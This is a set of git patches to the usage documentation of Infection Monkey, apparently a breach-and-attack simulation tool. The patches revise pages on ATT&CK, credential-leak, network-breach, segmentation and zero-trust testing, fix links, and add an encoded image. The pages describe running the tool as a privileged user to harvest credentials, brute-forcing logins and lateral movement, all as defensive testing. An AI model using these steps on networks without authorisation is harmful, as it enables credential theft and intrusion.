-assess the capabilities of your defensive solutions and see which ATT&CK techniques go unnoticed and how to prevent 
-them.
+Infection Monkey can simulate various [ATT&CK](https://attack.mitre.org/matrices/enterprise/) techniques on the network. 
+Use it to assess your security solutions’ detection and prevention capabilities. Infection Monkey will help you find 
+which ATT&CK techniques go unnoticed and will provide recommendations about preventing them.
+
 
 ## Configuration
 
-- **ATT&CK matrix** You can use ATT&CK configuration section to select which techniques you want to scan. Keep in mind 
-that ATT&CK matrix configuration just changes the overall configuration by modifying related fields, thus you should 
-start by modifying and saving the matrix. After that you can change credentials and scope of the scan, but exploiters, 
-post breach actions and other configuration values will be already chosen based on the ATT&CK matrix and shouldn’t be 
-modified.
+- **ATT&CK matrix** You can use ATT&CK configuration section to select which techniques you want the Monkey to simulate. 
+Leave default settings for the full simulation.
 - **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords 
-and usernames, but feel free to adjust it according to your native language and other factors. Keep in mind that long 
-lists means longer scanning times.
-- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select Local network scan and 
-allow Monkey to propagate until maximum Scan depth(hop count) is reached or you can fine tune it by providing specific 
-network ranges in Scan target list. Scanning the local network is more realistic, but providing specific targets will 
-make the scanning process substantially faster.
+and usernames, but feel free to adjust it according to the default passwords used in your network. Keep in mind that 
+long lists means longer scanning times.
+- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in 
+the “Scan target list”.
 
 ![ATT&CK matrix](/images/usage/scenarios/attack-matrix.png "ATT&CK matrix")
 
 ## Suggested run mode
 
-You should run the Monkey on network machines with defensive solutions you want to test.
-
-A lot of ATT&CK techniques have a scope of a single node, so it’s important to manually run monkeys for better coverage.
+Run the Infection Monkey on as many machines in your environment as you can to get a better assessment. This can be easily 
+achieved by selecting the “Manual” run option and executing the command shown on different machines in your environment 
+manually or with your deployment tool.
 
 ## Assessing results
 
-See the **ATT&CK report** to assess results of ATT&CK techniques used in your network. Each technique in the result 
-matrix is colour coated according to it’s status. Click on any technique to see more details about it and potential 
-mitigations. Keep in mind that each technique display contains a question mark symbol that will take you to the 
-official documentation of ATT&CK technique, where you can learn more about it.
-
+The **ATT&CK Report** shows the status of ATT&CK techniques simulations. Click on any technique to see more details 
+about it and potential mitigations. Keep in mind that each technique display contains a question mark symbol that 
+will take you to the official documentation of ATT&CK technique, where you can learn more about it.
diff --git a/docs/content/usage/use-cases/credential-leak.md b/docs/content/usage/use-cases/credential-leak.md
index 93c1a27c9..923335e34 100644
--- a/docs/content/usage/use-cases/credential-leak.md
+++ b/docs/content/usage/use-cases/credential-leak.md
@@ -1,9 +1,9 @@
 ---
-title: "Credential Leak"
+title: "Credentials Leak"
 date: 2020-08-12T13:04:25+03:00
 draft: false
 description: "Assess the impact of a successful phishing attack, insider threat, or other form of credentials leak."
-weight: 4
+weight: 5
 ---
 
 ## Overview 
@@ -26,17 +26,12 @@ To make sure SSH keys were gathered successfully, refresh the page and check thi
 
 ## Suggested run mode
 
-To simulate the damage from a successful phishing attack using the Infection Monkey, choose machines in your network 
-from potentially problematic group of machines, such as the laptop of one of your heavy email users or 
-one of your strong IT users (think of people who are more likely to correspond with people outside of 
-your organization). Execute the Monkey on chosen machines by clicking on “**1. Run Monkey**” from the left sidebar menu 
-and choosing “**Run on machine of your choice**”. Since Infection Monkey is safe, feel free to run Monkeys as a 
-privileged user. Doing so will make sure that Monkey gathers credentials from a local machine.
-
+Execute the Monkey on a chosen machine in your network using the “Manual” run option. 
+Run the Monkey as a privileged user to make sure it gathers as many credentials from the system as possible.
 
 ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
 
 ## Assessing results
 
-To assess the impact of leaked credentials see Security report. It's possible, that credential leak resulted in even
+To assess the impact of leaked credentials see Security report. It's possible that credential leak resulted in even
 more leaked credentials, for that look into **Security report -> Stolen credentials**. 
diff --git a/docs/content/usage/use-cases/ids-test.md b/docs/content/usage/use-cases/ids-test.md
deleted file mode 100644
index 2dfcda1cd..000000000
--- a/docs/content/usage/use-cases/ids-test.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: "IDS/IPS Test"
-date: 2020-08-12T13:07:47+03:00
-draft: false
-description: "Test your network defence solutions."
-weight: 5
----
-
-## Overview 
-
-The Infection Monkey can help you verify that your security solutions are working the way you expected them to.
- These may include your IR and SOC teams, your SIEM, your firewall, your endpoint security solution, and more.
-
-## Configuration
-
-- **Monkey -> Post breach** simulate the actions an attacker would make on an infected system. 
-To test something not present on the tool, you can provide your own file or command to be run.
-
-The default configuration is good enough for many cases, but configuring testing scope and adding brute-force
- credentials is a good bet in any scenario. 
-
-![Post breach configuration](/images/usage/use-cases/ids-test.PNG "Post breach configuration")
-
-## Suggested run mode
-Running the Monkey on both the Island and on a few other machines in the network manually is also recommended,
- as it increases coverage and propagation rates.
-
-## Assessing results
-
-After running the Monkey, follow the Monkeys’ actions on the Monkey Island’s infection map.
-
-Now you can match this activity from the Monkey timeline display to your internal SIEM and make sure your security
- solutions are identifying and correctly alerting on different attacks.
-
-- The red arrows indicate successful exploitations. If you see red arrows, those incidents ought to be reported as
- exploitation attempts, so check whether you are receiving alerts from your security systems as expected.
-- The orange arrows indicate scanning activity, usually used by attackers to locate potential vulnerabilities.
- If you see orange arrows, those incidents ought to be reported as scanning attempts (and possibly as segmentation violations).
-- The blue arrows indicate tunneling activity, usually used by attackers to infiltrate “protected” networks from
- the Internet. Perhaps someone is trying to bypass your firewall to gain access to a protected service in your network?
- Check if your micro-segmentation / firewall solution identifies or reports anything.
-
-While running this scenario, be on the lookout for the action that should arise:
- Did you get a phone call telling you about suspicious activity inside your network? Are events flowing
- into your security events aggregators? Are you getting emails from your IR teams?
- Is the endpoint protection software you installed on machines in the network reporting on anything? Are your
- compliance scanners detecting anything wrong?
- 
-Lastly, check Zero Trust and Mitre ATT&CK reports, to see which attacks can be executed on the network and how to
- fix it.
- 
- ![Map](/images/usage/use-cases/map-full-cropped.png "Map")
-
diff --git a/docs/content/usage/use-cases/network-breach.md b/docs/content/usage/use-cases/network-breach.md
index e315e49ad..962878ea6 100644
--- a/docs/content/usage/use-cases/network-breach.md
+++ b/docs/content/usage/use-cases/network-breach.md
@@ -3,7 +3,7 @@ title: "Network Breach"
 date: 2020-08-12T13:04:55+03:00
 draft: false
 description: "Simulate an internal network breach and assess the potential impact."
-weight: 1
+weight: 3
 ---
 
 ## Overview 
@@ -35,9 +35,11 @@ all post breach actions. These actions simulate attacker's behaviour after getti
 
 ## Suggested run mode
 
-To simulate a foreign device you could introduce the Island server to the network and run monkey from it. 
-Alternatively, for a malicious agent simulation, you should run monkey manually on a machine that’s already running in 
-the network. Combining both, as always, will give you the best coverage.
+Decide which machines you want to simulate a breach on and use the “Manual” run option to start Monkeys there. 
+Use high privileges to run the Monkey to simulate an attacker that was able to elevate its privileges. 
+You could also simulate an attack initiated from an unidentified machine connected to the network (a technician 
+laptop, 3rd party vendor machine, etc) by running the Monkey on a dedicated machine with an IP in the network you 
+wish to test.
 
 
 ## Assessing results
diff --git a/docs/content/usage/use-cases/network-segmentation.md b/docs/content/usage/use-cases/network-segmentation.md
index 4cea4002c..543b6e645 100644
--- a/docs/content/usage/use-cases/network-segmentation.md
+++ b/docs/content/usage/use-cases/network-segmentation.md
@@ -2,18 +2,18 @@
 title: "Network Segmentation"
 date: 2020-08-12T13:05:05+03:00
 draft: false
-description: "Test network segmentation policies for apps that need ring fencing or tiers that require microsegmentation."
-weight: 3
+description: "Verify your network is properly segmented."
+weight: 4
 ---
 
 ## Overview 
 
 Segmentation is a method of creating secure zones in data centers and cloud deployments that allows companies to 
-isolate workloads from one another and secure them individually, typically using policies. A useful way to test the 
-effectiveness of your segmentation is to ensure that your network segments are properly separated, e,g, your 
-Development is separated from your Production, your applications are separated from one another etc. To test the 
-security is to verify that your network segmentation is configured properly. This way you make sure that even if a 
-certain attacker has breached your defenses, it can’t move laterally from point A to point B.
+isolate workloads from one another and secure them individually, typically using policies. A useful way to test 
+the effectiveness of your segmentation is to ensure that your network segments are properly separated, e,g, your 
+Development is separated from your Production, your applications are separated from one another etc. Use the 
+Infection Monkey to verify that your network segmentation is configured properly. This way you make sure that 
+even if a certain attacker has breached your defenses, it can’t move laterally between segments.
 
 [Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network, reducing 
 the attack surface and minimizing the damage of a breach. The Monkey can help you test your segmentation settings with 
@@ -32,9 +32,7 @@ all post breach actions. These actions simulate attacker's behaviour after getti
 
 ## Suggested run mode
 
-Execute Monkeys on machines in different subnetworks manually, by choosing “**1. Run Monkey**” from the left sidebar 
-menu and clicking on “**Run on machine of your choice**”. 
- Alternatively, you could provide valid credentials and allow Monkey to propagate to relevant subnetworks by itself. 
+Execute Monkeys on machines in different subnetworks using the “Manual” run option. 
  
  Note that if Monkey can't communicate to the Island, it will
  not be able to send scan results, so make sure all machines can reach the island.
diff --git a/docs/content/usage/use-cases/other.md b/docs/content/usage/use-cases/other.md
index 71fc0cac9..90c44a943 100644
--- a/docs/content/usage/use-cases/other.md
+++ b/docs/content/usage/use-cases/other.md
@@ -16,11 +16,11 @@ If you want Monkey to run some kind of script or a tool after it breaches a mach
 **Configuration -> Monkey -> Post breach**. Just input commands you want executed in the corresponding fields. 
 You can also upload files and call them through commands you entered in command fields.
 
-## Speed and coverage
+## Accelerate the test
 
-There are some trivial ways to increase the coverage, for example you can **run the Monkey as a privileged user since 
-it’s safe**. To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. 
-The following configuration values have a significant impact on speed/coverage:
+To improve scanning speed you could **specify a subnet instead of scanning all of the local network**. 
+
+The following configuration values also have an impact on scanning speed:
 - **Credentials** - the more usernames and passwords you input, the longer it will take the Monkey to scan machines having 
 remote access services. Monkeys try to stay elusive and leave a low impact, thus brute forcing takes longer than with 
 loud conventional tools.
@@ -37,7 +37,7 @@ Security, ATT&CK and Zero Trust reports will be waiting for you!
 
 ## Persistent scanning
 
-Use Monkey -> Persistent scanning configuration section to either have periodic scans or to increase reliability of 
+Use **Monkey -> Persistent** scanning configuration section to either have periodic scans or to increase reliability of 
 exploitations by running consecutive Infection Monkey scans.
 
 ## Credentials
@@ -50,7 +50,6 @@ configuration:
 
 ![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")
 
-
 ## Check logged and monitored terminals
 
 To see the Monkey executing in real-time on your servers, add the **post-breach action** command: 
@@ -60,27 +59,3 @@ Let you follow the breach “live” alongside the infection map, and check whic
 inside your network. See below:
 
 ![How to configure post breach commands](/images/usage/scenarios/pba-example.png "How to configure post breach commands.")
-
-## ATT&CK & Zero Trust scanning
-
-You can use **ATT&CK** configuration section to select which techniques you want to scan. Keep in mind that ATT&CK
- matrix configuration just changes the overall configuration by modifying related fields, thus you should start by
- modifying and saving the matrix. After that you can change credentials and scope of the scan, but exploiters,
- post breach actions and other configuration values will be already chosen based on ATT&CK matrix and shouldn't be
- modified.
- 
-There's currently no way to configure monkey using Zero Trust framework, but regardless of configuration options,
- you'll always be able to see ATT&CK and Zero Trust reports.
-
-## Tips and tricks
-
-- Use **Monkey -> Persistent scanning** configuration section to either have periodic scans or to increase
- reliability of exploitations.
- 
-- To increase propagation run monkey as root/administrator. This will ensure that monkey will gather credentials
- on current system and use them to move laterally.
-
-
-- If you're scanning a large network, consider narrowing the scope and scanning it bit by bit if scan times become too
- long. Lowering the amount of credentials, exploiters or post breach actions can also help to lower scanning times.
-
diff --git a/docs/content/usage/use-cases/zero-trust.md b/docs/content/usage/use-cases/zero-trust.md
index 8499f8adc..de3e37d39 100644
--- a/docs/content/usage/use-cases/zero-trust.md
+++ b/docs/content/usage/use-cases/zero-trust.md
@@ -2,24 +2,22 @@
 title: "Zero Trust assessment"
 date: 2020-10-22T16:58:09+03:00
 draft: false
-description: "See where you are in your Zero Trust journey."
-weight: 0
+description: "See where you stand in your Zero Trust journey."
+weight: 1
 ---
 
 ## Overview 
 
-Infection Monkey can help assess your network compliance with Zero Trust Extended framework by checking for various 
-violations of Zero Trust principles.
+Infection Monkey will help you assess your progress on your journey to achieve Zero Trust network. 
+The Infection Monkey will automatically assess your readiness across the different 
+[Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles.
 
 ## Configuration
 
 - **Exploits -> Credentials** This configuration value will be used for brute-forcing. We use most popular passwords 
-and usernames, but feel free to adjust it according to your native language and other factors. Keep in mind that long 
-lists means longer scanning times.
-- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select Local network scan and 
-allow Monkey to propagate until maximum Scan depth(hop count) is reached or you can fine tune it by providing specific 
-network ranges in Scan target list. Scanning local network is more realistic, but providing specific targets will make 
-the scanning process substantially faster.
+and usernames, but feel free to adjust it according to the default passwords used in your network. 
+Keep in mind that long lists means longer scanning times.
+- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list”.
 - **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define 
 subnets that should be segregated from each other.
 
@@ -30,14 +28,15 @@ for tips and tricks about other features and in-depth configuration parameters y
 
 ## Suggested run mode
 
-Running Monkey from the Island alone will give you reasonable results, but to increase the coverage for segmentation 
-and single node tests make sure to run monkey manually on various machines in the network. The more machines monkey 
-runs on, the better the coverage.
+Run the Monkey on as many machines as you can. This can be easily achieved by selecting the “Manual” run option and 
+executing the command shown on different machines in your environment manually or with your deployment tool. 
+In addition, you can use any other run options you see fit. 
 
 ## Assessing results
 
 See the results in the Zero Trust report section. “The Summary” section will give you an idea about which Zero Trust 
-pillars were tested, how many tests were done and test statuses. You can see more details below in the “Test Results” 
-section, where each test is sorted by pillars and principles it tests. To get even more details about what Monkey did,
- go down to the “Findings” section and observe “Events” of different findings. “Events” will tell you what exactly 
- Infection Monkey did and when it was done, to make it easy to cross reference it with your defensive solutions.
+pillars were tested, how many tests were done and test statuses. Specific tests are described in the “Test Results” 
+section. The “Findings” section shows details about the Monkey actions. Click on “Events” of different findings to 
+observe what exactly Infection Monkey did and when it was done. This should make it easy to cross reference events 
+with your security solutions and alerts/logs.
+

From 725c601e23afee17004b57c94afb4452801a1fe5 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Fri, 23 Oct 2020 17:46:39 +0300
Subject: [PATCH 16/30] Fixed a couple of broken links in the docs.

---
 docs/content/development/_index.md    | 2 +-
 docs/content/usage/getting-started.md | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/docs/content/development/_index.md b/docs/content/development/_index.md
index deab32e6c..f4b2acc85 100644
--- a/docs/content/development/_index.md
+++ b/docs/content/development/_index.md
@@ -15,7 +15,7 @@ Want to help secure networks? That's great!
 
 Here's a few short links to help you get started.
 
-* [Getting up and running](../setup-development-environment) - To help you get a working development setup.
+* [Getting up and running](./setup-development-environment) - To help you get a working development setup.
 * [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - Some guidelines to help you submit.
 
 ## What are we looking for?
diff --git a/docs/content/usage/getting-started.md b/docs/content/usage/getting-started.md
index 63d2bbaec..958318552 100644
--- a/docs/content/usage/getting-started.md
+++ b/docs/content/usage/getting-started.md
@@ -15,7 +15,7 @@ After deploying the Monkey Island in your environment, navigate to `https://<ser
 
 ### First-time login
 
-On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../accounts-and-security).
+On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../../setup/accounts-and-security).
 
 ### Run the Monkey
 

From 48c828843765b6af60ef427c3a2951d2c9acd262 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Fri, 23 Oct 2020 17:57:49 +0300
Subject: [PATCH 17/30] Added missing attack-matrix.png to the doc. hub

---
 .../images/usage/scenarios/attack-matrix.png   | Bin 0 -> 161825 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 docs/static/images/usage/scenarios/attack-matrix.png

diff --git a/docs/static/images/usage/scenarios/attack-matrix.png b/docs/static/images/usage/scenarios/attack-matrix.png
new file mode 100644
index 0000000000000000000000000000000000000000..f6a040c1bd0f3a67392289c26b0f2622b1462d25
GIT binary patch
literal 161825
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
